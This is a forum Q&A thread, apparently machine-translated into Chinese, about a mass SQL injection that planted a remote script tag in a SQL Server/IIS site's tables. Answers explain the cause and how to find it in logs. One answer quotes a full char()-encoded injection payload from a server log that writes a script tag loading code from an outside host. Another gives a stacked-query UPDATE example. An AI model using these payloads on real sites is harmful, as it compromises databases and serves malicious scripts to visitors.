由于许多其他网站被击中,我必须假设它是一个机器人!
它注入了一个脚本:
昨天:http://google-stats50.info/ur.php
今天:http://google-stats49.info/ur.php
它将它注入多个表格。
首先,它是如何识别表和列的?
其次,我应该在日志中搜索什么来识别源页面?
我们的任何服务器上都没有ftp。我们有1个联系表格,但它是电子邮件,甚至没有连接到数据库。
我们正在使用SQL Server和IIS。
答案 0 :(得分:6)
您可能有一个页面没有验证/清理用户输入。用于向SQL查询提供参数的TextBoxes和QueryStrings在SQL注入攻击中经常被利用(尽管有其他方法......)。除此之外,您可能在访问数据库时不使用参数化查询。
这将导致一个受伤的世界。
他们很可能通过查询系统表来找出您的数据库结构:
SELECT *
FROM sys.Tables
列名:
SELECT *
FROM sys.columns
您应该看一些链接:
如果这是我的网站,我会放弃一切,直到网站受到保护。您的站点和数据库处于严重危险之中。
答案 1 :(得分:3)
这种特殊的攻击不像过去那些循环通过系统对象表的攻击是通过分析你的错误页面然后构建专门针对已知表和fiels的新的更新查询来完成的。
您可以通过查看您的网络服务器日志找到该洞。寻找“cast(”,即使不是所有sql注入攻击,也可以找到它。
以下是从我的日志中获取的一些数据的示例,以便您可以看到正在执行的操作。
祝你好运
2010-09-23 10:30:16 W3SVC1302398943 DM100 192.168.12.10 GET /search/List.cfm D_Dealer_GUID=3f8722ff-6f72-4530-a953-09c39dd389601'+update+q_ntd+set+Body=cast(Body+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(52)%2Bchar(57)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 80 - 77.78.239.56 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:
答案 2 :(得分:1)
他正在做的是在网上寻找“.asp?product-id =”并使用它来注入。上面的那个人应该被册封并送到罗马。这就是你如何处理这个问题:
这应该保护您的网站(希望如此)。
答案 3 :(得分:0)
您网站上的任何查询字符串参数是否直接导入数据库?几年前我发生了类似的事情 - 非常类似的SQL注入,脚本进入多个表,多列。原来我们在查询字符串中直接使用了一个数字字段,没有输入过滤(我们这样做),允许攻击者做这样的事情:
选择a,b,c FROM表WHERE d = 0; UPDATE表SET col ='script'; -
其中put“0; UPDATE表SET col ='script'; - ”进入查询字符串。
答案 4 :(得分:0)